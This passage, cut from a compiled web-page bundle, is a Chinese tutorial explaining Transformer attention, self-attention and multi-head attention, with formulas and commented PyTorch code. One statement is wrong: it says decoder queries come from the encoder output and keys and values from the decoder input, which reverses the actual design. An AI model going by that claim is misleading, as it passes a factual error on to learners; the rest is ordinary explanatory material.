\u4e09\u4e2a\u65b9\u9762\u9010\u6b65\u4ecb\u7ecd Transformer \u4e2d\u4f7f\u7528\u7684Attention \u673a\u5236\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u4f55\u4e3a-attention",children:"\u4f55\u4e3a Attention"}),"\n",(0,s.jsx)(e.p,{children:"\u200bAttention \u673a\u5236\u6700\u5148\u6e90\u4e8e\u8ba1\u7b97\u673a\u89c6\u89c9\u9886\u57df\uff0c\u5176\u6838\u5fc3\u601d\u60f3\u4e3a\u5f53\u6211\u4eec\u5173\u6ce8\u4e00\u5f20\u56fe\u7247\uff0c\u6211\u4eec\u5f80\u5f80\u65e0\u9700\u770b\u6e05\u695a\u5168\u90e8\u5185\u5bb9\u800c\u4ec5\u5c06\u6ce8\u610f\u529b\u96c6\u4e2d\u5728\u91cd\u70b9\u90e8\u5206\u5373\u53ef\u3002\u800c\u5728\u81ea\u7136\u8bed\u8a00\u5904\u7406\u9886\u57df\uff0c\u6211\u4eec\u5f80\u5f80\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5c06\u91cd\u70b9\u6ce8\u610f\u529b\u96c6\u4e2d\u5728\u4e00\u4e2a\u6216\u51e0\u4e2a token\uff0c\u4ece\u800c\u53d6\u5f97\u66f4\u9ad8\u6548\u9ad8\u8d28\u7684\u8ba1\u7b97\u6548\u679c\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u200bAttention \u673a\u5236\u7684\u7279\u70b9\u662f\u901a\u8fc7\u8ba1\u7b97 ",(0,s.jsx)(e.strong,{children:"Query"})," (\u67e5\u8be2\u503c)\u4e0e",(0,s.jsx)(e.strong,{children:"Key"}),"(\u952e\u503c)\u7684\u76f8\u5173\u6027\u4e3a\u771f\u503c\u52a0\u6743\u6c42\u548c\uff0c\u4ece\u800c\u62df\u5408\u5e8f\u5217\u4e2d\u6bcf\u4e2a\u8bcd\u540c\u5176\u4ed6\u8bcd\u7684\u76f8\u5173\u5173\u7cfb\u3002\u5176\u5927\u81f4\u8ba1\u7b97\u8fc7\u7a0b\u4e3a\uff1a"]}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_attention.png",alt:"image-20230129185638102",style:{zoom:"50%"}})}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"\u901a\u8fc7\u8f93\u5165\u4e0e\u53c2\u6570\u77e9\u9635\uff0c\u5f97\u5230\u67e5\u8be2\u503c$q$\uff0c\u952e\u503c$k$\uff0c\u771f\u503c$v$\u3002\u53ef\u4ee5\u7406\u89e3\u4e3a\uff0c$q$ \u662f\u8ba1\u7b97\u6ce8\u610f\u529b\u7684\u53e6\u4e00\u4e2a\u53e5\u5b50\uff08\u6216\u8bcd\u7ec4\uff09\uff0c$v$ \u4e3a\u5f85\u8ba1\u7b97\u53e5\u5b50\uff0c$k$ \u4e3a\u5f85\u8ba1\u7b97\u53e5\u5b50\u4e2d\u6bcf\u4e2a\u8bcd\uff08\u5373 $v$ \u7684\u6bcf\u4e2a\u8bcd\uff09\u7684\u5bf9\u5e94\u952e\u3002\u5176\u4e2d\uff0c$v$ \u4e0e $k$ \u7684\u77e9\u9635\u7ef4\u5ea6\u662f\u76f8\u540c\u7684\uff0c$q$\u7684\u77e9\u9635\u7ef4\u5ea6\u5219\u53ef\u4ee5\u4e0d\u540c\uff0c\u53ea\u9700\u8981\u6ee1\u8db3 $q$ \u80fd\u548c$k^T$\u6ee1\u8db3\u77e9\u9635\u76f8\u4e58\u7684\u6761\u4ef6\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u5bf9 $q$ \u7684\u6bcf\u4e2a\u5143\u7d20 $q_i$ ,\u5bf9 $q_i$ \u4e0e $k$ \u505a\u70b9\u79ef\u5e76\u8fdb\u884c softmax\uff0c\u5f97\u5230\u4e00\u7ec4\u5411\u91cf\uff0c\u8be5\u5411\u91cf\u63ed\u793a\u4e86 $q_i$ \u5bf9\u6574\u4e2a\u53e5\u5b50\u6bcf\u4e00\u4e2a\u4f4d\u7f6e\u7684\u6ce8\u610f\u529b\u5927\u5c0f\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u4ee5\u4e0a\u4e00\u6b65\u8f93\u51fa\u5411\u91cf\u4f5c\u4e3a\u6743\u91cd\uff0c\u5bf9 $v$ \u8fdb\u884c\u52a0\u6743\u6c42\u548c\uff0c\u5c06 $q$ \u7684\u6240\u6709\u5143\u7d20\u5f97\u5230\u7684\u52a0\u6743\u6c42\u548c\u7ed3\u679c\u62fc\u63a5\u5f97\u5230\u6700\u540e\u8f93\u51fa\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5176\u4e2d\uff0cq\uff0ck\uff0cv \u5206\u522b\u662f\u7531\u8f93\u5165\u4e0e\u4e09\u4e2a\u53c2\u6570\u77e9\u9635\u505a\u79ef\u5f97\u5230\u7684\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_attention_compute.png",alt:"image-20230129185638102",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728\u5b9e\u9645\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\uff0c\u4e3a\u63d0\u9ad8\u5e76\u884c\u8ba1\u7b97\u901f\u5ea6\uff0c\u76f4\u63a5\u4f7f\u7528 $q$\u3001$k$\u3001$v$ \u62fc\u63a5\u800c\u6210\u7684\u77e9\u9635\u8fdb\u884c\u4e00\u6b21\u8ba1\u7b97\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5177\u4f53\u5230 Transformer \u6a21\u578b\u4e2d\uff0c\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a\n$$\nAttention(Q,K,V) = softmax(\\frac{QK^T}{\\sqrt{d_k}})V\n$$\n\u200b\u5176\u4e2d\uff0c$d_k$ \u4e3a\u952e\u5411\u91cf$k$\u7684\u7ef4\u5ea6\uff0c\u9664\u4ee5\u6839\u53f7$d_k$\u4e3b\u8981\u4f5c\u7528\u662f\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u83b7\u5f97\u4e00\u4e2a\u7a33\u5b9a\u7684\u68af\u5ea6\u3002\u8ba1\u7b97\u793a\u4f8b\u5982\u4e0b\u56fe\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_attention_compute_2.png",alt:"image-20230129185638102",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\tAttention \u673a\u5236\u7684\u57fa\u672c\u5b9e\u73b0\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"def attention(query, key, value, mask=None, dropout=None):\n \"Compute 'Scaled Dot Product Attention'\"\n d_k = query.size(-1) # \u83b7\u53d6\u952e\u5411\u91cf\u7684\u7ef4\u5ea6\uff0c\u952e\u5411\u91cf\u7684\u7ef4\u5ea6\u548c\u503c\u5411\u91cf\u7684\u7ef4\u5ea6\u76f8\u540c\uff0c\u5373\u7ecf\u8fc7\u6ce8\u610f\u529b\u8ba1\u7b97\u7684\u8f93\u51fa\u7ef4\u5ea6\n scores = torch.matmul(query, key.transpose(-2, -1)) / math.sqrt(d_k)\n # \u8ba1\u7b97Q\u4e0eK\u7684\u5185\u79ef\u5e76\u9664\u4ee5\u6839\u53f7dk\n # transpose \u5373\u5bf9 K \u8fdb\u884c\u4e86\u8f6c\u7f6e\uff0c\u4f7f\u7528-2\u548c-1\u662f\u56e0\u4e3a\u5728\u540e\u7eed\u591a\u5934\u6ce8\u610f\u529b\u8ba1\u7b97\u4e2d\u8f93\u5165\u5411\u91cf\u4f1a\u8fbe\u5230\u56db\u7ef4\uff0c\u8ba1\u7b97\u540e\u4e24\u4e2a\u7ef4\u5ea6\u5373\u53ef\n if mask is not None:\n scores = scores.masked_fill(mask == 0, -1e9)\n # masker_fill\u4e3a\u906e\u853d\uff0c\u5373\u57fa\u4e8e\u4e00\u4e2a\u5e03\u5c14\u503c\u7684\u53c2\u6570\u77e9\u9635\u5bf9\u77e9\u9635\u8fdb\u884c\u906e\u853d\n # \u6b64\u5904\u540c\u4e0a\u9762\u7684subsequent_mask\u51fd\u6570\u7ed3\u5408\uff0c\u6b64\u5904\u7684mask\u5373\u4e3a\u8be5\u51fd\u6570\u7684\u8f93\u51fa\n p_attn = scores.softmax(dim=-1)\n if dropout is not None:\n p_attn = dropout(p_attn)\n # \u91c7\u6837\n # \u6ce8\u610f\u6700\u540e\u8ba1\u7b97\u52a0\u6743\u503c\u662f\u4e0d\u9700\u8981\u8f6c\u7f6e\u7684\uff0c\u4e0a\u8ff0\u8ba1\u7b97\u8fd4\u56de\u7684\u7ef4\u5ea6\u4e3a length*length\uff0c\u503c\u53c2\u6570\u4e3alength*dk\uff0c\u76f4\u63a5\u5185\u79ef\u5373\u53ef\n return torch.matmul(p_attn, value), p_attn\n # \u6839\u636e\u8ba1\u7b97\u7ed3\u679c\u5bf9value\u8fdb\u884c\u52a0\u6743\u6c42\u548c\n"})}),"\n",(0,s.jsx)(e.h3,{id:"self-attention",children:"Self-Attention"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4ece\u4e0a\u5bf9 Attention \u673a\u5236\u539f\u7406\u7684\u53d9\u8ff0\u4e2d\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0cAttention \u673a\u5236\u7684\u672c\u8d28\u662f\u5bf9\u4e24\u6bb5\u5e8f\u5217\u7684\u5143\u7d20\u4f9d\u6b21\u8fdb\u884c\u76f8\u4f3c\u5ea6\u8ba1\u7b97\uff0c\u5bfb\u627e\u51fa\u4e00\u4e2a\u5e8f\u5217\u7684\u6bcf\u4e2a\u5143\u7d20\u5bf9\u53e6\u4e00\u4e2a\u5e8f\u5217\u7684\u6bcf\u4e2a\u5143\u7d20\u7684\u76f8\u5173\u5ea6\uff0c\u7136\u540e\u57fa\u4e8e\u76f8\u5173\u5ea6\u8fdb\u884c\u52a0\u6743\uff0c\u5373\u5206\u914d\u6ce8\u610f\u529b\u3002\u800c\u8fd9\u4e24\u6bb5\u5e8f\u5217\u5373\u662f\u6211\u4eec\u8ba1\u7b97\u8fc7\u7a0b\u4e2d $Q$\u3001$K$\u3001$V$ \u7684\u6765\u6e90\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728\u7ecf\u5178\u7684 Attention \u673a\u5236\u4e2d\uff0c$Q$ \u5f80\u5f80\u6765\u81ea\u4e8e\u4e00\u4e2a\u5e8f\u5217\uff0c$K$ \u4e0e $V$ \u6765\u81ea\u4e8e\u53e6\u4e00\u4e2a\u5e8f\u5217\uff0c\u90fd\u901a\u8fc7\u53c2\u6570\u77e9\u9635\u8ba1\u7b97\u5f97\u5230\uff0c\u4ece\u800c\u53ef\u4ee5\u62df\u5408\u8fd9\u4e24\u4e2a\u5e8f\u5217\u4e4b\u95f4\u7684\u5173\u7cfb\u3002\u4f8b\u5982\u5728 Transformer \u7684 Decoder \u7ed3\u6784\u4e2d\uff0c$Q$ \u6765\u81ea\u4e8e Encoder \u7684\u8f93\u51fa\uff0c$K$ \u4e0e $V$ \u6765\u81ea\u4e8e Decoder \u7684\u8f93\u5165\uff0c\u4ece\u800c\u62df\u5408\u4e86\u7f16\u7801\u4fe1\u606f\u4e0e\u5386\u53f2\u4fe1\u606f\u4e4b\u95f4\u7684\u5173\u7cfb\uff0c\u4fbf\u4e8e\u7efc\u5408\u8fd9\u4e24\u79cd\u4fe1\u606f\u5b9e\u73b0\u672a\u6765\u7684\u9884\u6d4b\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f46\u5728 Transformer \u7684 Encoder \u7ed3\u6784\u4e2d\uff0c\u4f7f\u7528\u7684\u662f Attention \u673a\u5236\u7684\u53d8\u79cd\u2014\u2014 self-attention \uff08\u81ea\u6ce8\u610f\u529b\uff09\u673a\u5236\u3002\u6240\u8c13\u81ea\u6ce8\u610f\u529b\uff0c\u5373\u662f\u8ba1\u7b97\u672c\u8eab\u5e8f\u5217\u4e2d\u6bcf\u4e2a\u5143\u7d20\u90fd\u5176\u4ed6\u5143\u7d20\u7684\u6ce8\u610f\u529b\u5206\u5e03\uff0c\u5373\u5728\u8ba1\u7b97\u8fc7\u7a0b\u4e2d\uff0c$Q$\u3001$K$\u3001$V$ \u90fd\u7531\u540c\u4e00\u4e2a\u8f93\u5165\u901a\u8fc7\u4e0d\u540c\u7684\u53c2\u6570\u77e9\u9635\u8ba1\u7b97\u5f97\u5230\u3002\u5728 Encoder \u4e2d\uff0c$Q$\u3001$K$\u3001$V$ \u5206\u522b\u662f\u8f93\u5165\u5bf9\u53c2\u6570\u77e9\u9635 $W_q$\u3001$W_k$\u3001$W_v$ \u505a\u79ef\u5f97\u5230\uff0c\u4ece\u800c\u62df\u5408\u8f93\u5165\u8bed\u53e5\u4e2d\u6bcf\u4e00\u4e2a token \u5bf9\u5176\u4ed6\u6240\u6709 token \u7684\u5173\u7cfb\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f8b\u5982\uff0c\u901a\u8fc7 Encoder \u4e2d\u7684 self-attention \u5c42\uff0c\u53ef\u4ee5\u62df\u5408\u4e0b\u9762\u8bed\u53e5\u4e2d it \u5bf9\u5176\u4ed6 token \u7684\u6ce8\u610f\u529b\u5206\u5e03\u5982\u56fe\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_selfattention.jpg",alt:"image-20230129190819407",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728\u4ee3\u7801\u4e2d\u7684\u5b9e\u73b0\uff0cself-attention \u673a\u5236\u5176\u5b9e\u662f\u901a\u8fc7\u7ed9 $Q$\u3001$K$\u3001$V$ \u7684\u8f93\u5165\u4f20\u5165\u540c\u4e00\u4e2a\u53c2\u6570\u5b9e\u73b0\u7684\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\n# \u4f20\u5165\u81ea\u6ce8\u610f\u529b\u5c42\u4f5c\u4e3asublayer,\u8f93\u51fa\u81ea\u6ce8\u610f\u529b\u5c42\u8ba1\u7b97\u5e76\u8fdb\u884c\u6b8b\u5dee\u8fde\u63a5\u540e\u7684\u7ed3\u679c\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4e0a\u8ff0\u4ee3\u7801\u662f Encoder \u5c42\u7684\u90e8\u5206\u5b9e\u73b0\uff0cself_attn \u5373\u662f\u6ce8\u610f\u529b\u5c42\uff0c\u4f20\u5165\u7684\u4e09\u4e2a\u53c2\u6570\u90fd\u662f $x$\uff0c\u5206\u522b\u662f $Q$\u3001$K$\u3001$V$ \u7684\u8ba1\u7b97\u8f93\u5165\uff0c\u4ece\u800c $Q$\u3001$K$\u3001$$ \u5747\u6765\u6e90\u4e8e\u540c\u4e00\u4e2a\u8f93\u5165\uff0c\u5219\u5b9e\u73b0\u4e86\u81ea\u6ce8\u610f\u529b\u7684\u62df\u5408\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"multi-head-attention",children:"Multi-Head Attention"}),"\n",(0,s.jsx)(e.p,{children:"\u200bAttention \u673a\u5236\u53ef\u4ee5\u5b9e\u73b0\u5e76\u884c\u5316\u4e0e\u957f\u671f\u4f9d\u8d56\u5173\u7cfb\u62df\u5408\uff0c\u4f46\u4e00\u6b21\u6ce8\u610f\u529b\u8ba1\u7b97\u53ea\u80fd\u62df\u5408\u4e00\u79cd\u76f8\u5173\u5173\u7cfb\uff0c\u5355\u4e00\u7684 Attention \u673a\u5236\u5f88\u96be\u5168\u9762\u62df\u5408\u8bed\u53e5\u5e8f\u5217\u91cc\u7684\u76f8\u5173\u5173\u7cfb\u3002\u56e0\u6b64 Transformer \u4f7f\u7528\u4e86 Multi-Head attention \u673a\u5236\uff0c\u5373\u540c\u65f6\u5bf9\u4e00\u4e2a\u8bed\u6599\u8fdb\u884c\u591a\u6b21\u6ce8\u610f\u529b\u8ba1\u7b97\uff0c\u6bcf\u6b21\u6ce8\u610f\u529b\u8ba1\u7b97\u90fd\u80fd\u62df\u5408\u4e0d\u540c\u7684\u5173\u7cfb\uff0c\u5c06\u6700\u540e\u7684\u591a\u6b21\u7ed3\u679c\u62fc\u63a5\u8d77\u6765\u4f5c\u4e3a\u6700\u540e\u7684\u8f93\u51fa\uff0c\u5373\u53ef\u66f4\u5168\u9762\u6df1\u5165\u5730\u62df\u5408\u8bed\u8a00\u4fe1\u606f\u3002"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_Multi-Head attention.png",alt:"image-20230129190819407",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u5728\u539f\u8bba\u6587\u4e2d\uff0c\u4f5c\u8005\u4e5f\u901a\u8fc7\u5b9e\u9a8c\u8bc1\u5b9e\uff0c\u591a\u5934\u6ce8\u610f\u529b\u8ba1\u7b97\u4e2d\uff0c\u6bcf\u4e2a\u4e0d\u540c\u7684\u6ce8\u610f\u529b\u5934\u80fd\u591f\u62df\u5408\u8bed\u53e5\u4e2d\u7684\u4e0d\u540c\u4fe1\u606f\uff0c\u5982\u4e0b\u56fe\uff1a"}),"\n",(0,s.jsxs)(e.div,{align:"center",children:[(0,s.jsx)(e.img,{src:".\\figures\\transformer_Multi-Head visual.jpg",alt:"image-20230207203454545",style:{zoom:"50%"}}),"\t"]}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4e0a\u5c42\u4e0e\u4e0b\u5c42\u5206\u522b\u662f\u4e24\u4e2a\u6ce8\u610f\u529b\u5934\u5bf9\u540c\u4e00\u6bb5\u8bed\u53e5\u5e8f\u5217\u8fdb\u884c\u81ea\u6ce8\u610f\u529b\u8ba1\u7b97\u7684\u7ed3\u679c\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u5bf9\u4e8e\u4e0d\u540c\u7684\u6ce8\u610f\u529b\u5934\uff0c\u80fd\u591f\u62df\u5408\u4e0d\u540c\u5c42\u6b21\u7684\u76f8\u5173\u4fe1\u606f\u3002\u901a\u8fc7\u591a\u4e2a\u6ce8\u610f\u529b\u5934\u540c\u65f6\u8ba1\u7b97\uff0c\u80fd\u591f\u66f4\u5168\u9762\u5730\u62df\u5408\u8bed\u53e5\u5173\u7cfb\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u200bMulti-Head attention \u7684\u6574\u4f53\u8ba1\u7b97\u6d41\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_Multi-Head attention_compute.png",alt:"image-20230129190819407",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u6240\u8c13\u7684\u591a\u5934\u6ce8\u610f\u529b\u673a\u5236\u5176\u5b9e\u5c31\u662f\u5c06\u539f\u59cb\u7684\u8f93\u5165\u5e8f\u5217\u8fdb\u884c\u591a\u7ec4\u7684\u81ea\u6ce8\u610f\u529b\u5904\u7406\uff1b\u7136\u540e\u518d\u5c06\u6bcf\u4e00\u7ec4\u5f97\u5230\u7684\u81ea\u6ce8\u610f\u529b\u7ed3\u679c\u62fc\u63a5\u8d77\u6765\uff0c\u518d\u901a\u8fc7\u4e00\u4e2a\u7ebf\u6027\u5c42\u8fdb\u884c\u5904\u7406\uff0c\u5f97\u5230\u6700\u7ec8\u7684\u8f93\u51fa\u3002\u6211\u4eec\u7528\u516c\u5f0f\u53ef\u4ee5\u8868\u793a\u4e3a\uff1a\n$$\n\\mathrm{MultiHead}(Q, K, V) = \\mathrm{Concat}(\\mathrm{head_1}, ...,\n\\mathrm{head_h})W^O \\\n\\text{where}~\\mathrm{head_i} = \\mathrm{Attention}(QW^Q_i, KW^K_i, VW^V_i)\n$$"}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u6700\u76f4\u89c2\u7684\u4ee3\u7801\u5b9e\u73b0\u5e76\u4e0d\u590d\u6742\uff0c\u5373 n \u4e2a\u5934\u5c31\u6709 n \u7ec43\u4e2a\u53c2\u6570\u77e9\u9635\uff0c\u6bcf\u4e00\u7ec4\u8fdb\u884c\u540c\u6837\u7684\u6ce8\u610f\u529b\u8ba1\u7b97\uff0c\u4f46\u7531\u4e8e\u662f\u4e0d\u540c\u7684\u53c2\u6570\u77e9\u9635\u4ece\u800c\u901a\u8fc7\u53cd\u5411\u4f20\u64ad\u5b9e\u73b0\u4e86\u4e0d\u540c\u7684\u6ce8\u610f\u529b\u7ed3\u679c\uff0c\u7136\u540e\u5c06 n \u4e2a\u7ed3\u679c\u62fc\u63a5\u8d77\u6765\u8f93\u51fa\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u4f46\u4e0a\u8ff0\u5b9e\u73b0\u590d\u6742\u5ea6\u8f83\u9ad8\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u77e9\u9635\u8fd0\u7b97\u5de7\u5999\u5730\u5b9e\u73b0\u5e76\u884c\u7684\u591a\u5934\u8ba1\u7b97\uff0c\u6574\u4f53\u8ba1\u7b97\u6d41\u7a0b\u5982\u4e0b\uff08\u6ce8\uff1a\u7531\u4e8e\u6b64\u5904\u4f7f\u7528\u4e86\u77e9\u9635\u8fd0\u7b97\u6765\u5b9e\u73b0\u591a\u5934\u5e76\u884c\uff0c\u5185\u90e8\u903b\u8f91\u76f8\u5bf9\u590d\u6742\uff0c\u8bfb\u8005\u53ef\u4ee5\u914c\u60c5\u9605\u8bfb\uff09\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class MultiHeadedAttention(nn.Module):\n # \u591a\u5934\u6ce8\u610f\u529b\u64cd\u4f5c\n def __init__(self, h, d_model, dropout=0.1):\n "Take in model size and number of heads."\n super(MultiHeadedAttention, self).__init__()\n assert d_model % h == 0\n # \u8fd9\u91cc\u7684 d_model \u5373\u4e3a\u8be5\u5c42\u6700\u540e\u8f93\u51fa\u7ed3\u679c\u7684\u7ef4\u5ea6\uff0c\u7531\u4e8e\u6700\u540e\u8f93\u51fa\u7ed3\u679c\u662f n \u4e2a\u5934\u7684\u8f93\u51fa\u7ed3\u679c\u62fc\u63a5\u8d77\u6765\u7684\uff0c\u56e0\u6b64\u8be5\u7ef4\u5ea6\u5e94\u5f53\u80fd\u591f\u6574\u9664\u5934\u6570\n # \u65ad\u8a00\uff0c\u63a7\u5236h\u603b\u662f\u6574\u9664\u4e8ed_model\uff0c\u5982\u679c\u8f93\u5165\u53c2\u6570\u4e0d\u6ee1\u8db3\u5c06\u62a5\u9519\n # \u8fd9\u91cc\u5047\u8bbe d_v = d_k\uff0c\u5176\u5b9e\u662f\u4e3a\u4e86\u65b9\u4fbf\u6700\u540e\u7ebf\u6027\u5c42\u7684\u5904\u7406\uff0c\u5982\u679c\u4e0d\u4f7f\u7528\u8fd9\u4e2a\u5047\u8bbe\uff0c\u628a\u6700\u540e\u4e00\u4e2a\u5168\u8fde\u63a5\u5c42\u62bd\u51fa\u6765\u5355\u72ec\u521d\u59cb\u5316\u5373\u53ef\n self.d_k = d_model // h\n # \u6bcf\u4e2a\u5934\u8981\u8f93\u51fa\u7684\u7ef4\u5ea6\n self.h = h\n # \u5934\u6570\n self.linears = clones(nn.Linear(d_model, d_model), 4)\n # \u6ce8\u610f\uff0c\u8fd9\u91cc\u521d\u59cb\u5316\u4e864\u4e2a\u7ebf\u6027\u5c42\uff0c\u524d\u4e09\u4e2a\u5206\u522b\u662f\u4e09\u4e2a\u53c2\u6570\u77e9\u9635\u6bcf\u4e2a\u5934\u62fc\u63a5\u8d77\u6765\u7684\u7ed3\u679c\uff0c\u6700\u540e\u4e00\u4e2a\u662f\u5168\u8fde\u63a5\u5c42\uff0c\u8fd9\u6837\u64cd\u4f5c\u7684\u524d\u63d0\u662f\u4e0a\u8ff0\u5047\u8bbe\n # \u8fd9\u91cc\u901a\u8fc7\u4e09\u4e2a\u7ec4\u5408\u77e9\u9635\u6765\u4ee3\u66ff\u4e86n\u4e2a\u53c2\u6570\u77e9\u9635\u7684\u7ec4\u5408\uff0c\u5176\u903b\u8f91\u5728\u4e8e\u77e9\u9635\u5185\u79ef\u518d\u62fc\u63a5\u5176\u5b9e\u7b49\u540c\u4e8e\u62fc\u63a5\u77e9\u9635\u518d\u5185\u79ef\uff0c\u4e0d\u7406\u89e3\u7684\u8bfb\u8005\u53ef\u4ee5\u81ea\u884c\u6a21\u62df\u4e00\u4e0b\uff0c\u6bcf\u4e00\u4e2a\u7ebf\u6027\u5c42\u5176\u5b9e\u76f8\u5f53\u4e8en\u4e2a\u53c2\u6570\u77e9\u9635\u7684\u62fc\u63a5\n self.attn = None\n self.dropout = nn.Dropout(p=dropout)\n\n def forward(self, query, key, value, mask=None):\n "Implements Figure 2"\n if mask is not None:\n # Same mask applied to all h heads.\n mask = mask.unsqueeze(1)\n # \u6279\u6b21\u5927\u5c0f\n nbatches = query.size(0)\n\n # 1) \u6bcf\u4e00\u4e2a\u8f93\u5165\u901a\u8fc7\u7ebf\u6027\u5c42\u5373\u53c2\u6570\u77e9\u9635\u5f97\u5230\u6620\u5c04\u540e\u7684\u7ed3\u679c\n # \u8fd9\u91cc\u8f93\u5165\u7ecf\u8fc7\u7ebf\u6027\u5c42\u4e4b\u540e\u7ef4\u5ea6\u4e3a nbatches*length*d_model\uff0c\u56e0\u4e3a\u8981\u8fdb\u5165\u6ce8\u610f\u529b\u8ba1\u7b97\uff0c\u9700\u8981\u628a\u4e0d\u540c\u5934\u7684\u8f93\u5165\u62c6\u5f00\uff0c\u5373\u5c06\u8f93\u51fa\u5c55\u5f00\u4e3a nbatches*length*n_head*d_k\uff0c\u7136\u540e\u5c06length\u548cn_head\u7ef4\u5ea6\u4e92\u6362\uff0c\u56e0\u4e3a\u5728\u6ce8\u610f\u529b\u8ba1\u7b97\u4e2d\u6211\u4eec\u662f\u53d6\u4e86\u540e\u4e24\u4e2a\u7ef4\u5ea6\u53c2\u4e0e\u8ba1\u7b97\n query, key, value = [\n lin(x).view(nbatches, -1, self.h, self.d_k).transpose(1, 2)\n for lin, x in zip(self.linears, (query, key, value))\n ]\n # \u4e3a\u4ec0\u4e48\u8981\u5148\u6309n_batches*-1*n_head*d_k\u5c55\u5f00\u518d\u4e92\u63621\u30012\u7ef4\u5ea6\u800c\u4e0d\u662f\u76f4\u63a5\u6309\u6ce8\u610f\u529b\u8f93\u5165\u5c55\u5f00\uff0c\u662f\u56e0\u4e3aview\u7684\u5c55\u5f00\u65b9\u5f0f\u662f\u76f4\u63a5\u628a\u8f93\u5165\u5168\u90e8\u6392\u5f00\uff0c\u7136\u540e\u6309\u8981\u6c42\u6784\u9020\uff0c\u53ef\u4ee5\u53d1\u73b0\u53ea\u6709\u4e0a\u8ff0\u64cd\u4f5c\u80fd\u591f\u5b9e\u73b0\u6211\u4eec\u5c06\u6bcf\u4e2a\u5934\u5bf9\u5e94\u90e8\u5206\u53d6\u51fa\u6765\u7684\u76ee\u6807\n\n # 2) \u8fdb\u884c\u6ce8\u610f\u529b\u8ba1\u7b97\n x, self.attn = attention(\n query, key, value, mask=mask, dropout=self.dropout\n )\n # x \u4e3a\u52a0\u6743\u6c42\u548c\u7ed3\u679c\uff0cattn\u4e3a\u8ba1\u7b97\u7684\u6ce8\u610f\u529b\u5206\u6570\n\n # 3) \u5c06\u6ce8\u610f\u529b\u8ba1\u7b97\u7ed3\u679c\u62fc\u63a5\uff0c\u7136\u540e\u901a\u8fc7\u6700\u540e\u7684\u5168\u8fde\u63a5\u5c42\n # \u6ce8\u610f\u529b\u8f93\u51fa\u7ef4\u5ea6\u4e3an_batches*n_head*length*d_k\uff0c\u6211\u4eec\u9700\u8981\u7684\u8f93\u5165\u4e3an_batches*length*d_model\uff0c\u6240\u4ee5\u76f4\u63a5\u9488\u5bf9\u4e0a\u8ff0\u8f6c\u6362\u64cd\u4f5c\u9006\u64cd\u4f5c\u5373\u53ef\n x = (\n x.transpose(1, 2)\n .contiguous()\n .view(nbatches, -1, self.h * self.d_k)\n )\n # contiguous \u51fd\u6570\u7528\u4e8e\u91cd\u65b0\u5f00\u8f9f\u4e00\u5757\u65b0\u5185\u5b58\u5b58\u50a8\uff0c\u56e0\u4e3aPytorch\u8bbe\u7f6e\u5148transpose\u518dview\u4f1a\u62a5\u9519\uff0c\u56e0\u4e3aview\u76f4\u63a5\u57fa\u4e8e\u5e95\u5c42\u5b58\u50a8\u5f97\u5230\uff0c\u7136\u800ctranspose\u5e76\u4e0d\u4f1a\u6539\u53d8\u5e95\u5c42\u5b58\u50a8\uff0c\u56e0\u6b64\u9700\u8981\u989d\u5916\u5b58\u50a8\n\n del query\n del key\n del value\n # \u6700\u540e\u7ecf\u8fc7\u5168\u8fde\u63a5\u5c42\u5373\u53ef\n return self.linears[-1](x)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728 Pytorch \u4e2d\uff0c\u5176\u5b9e\u63d0\u4f9b\u4e86 Multi-Head Attention \u673a\u5236\u7684 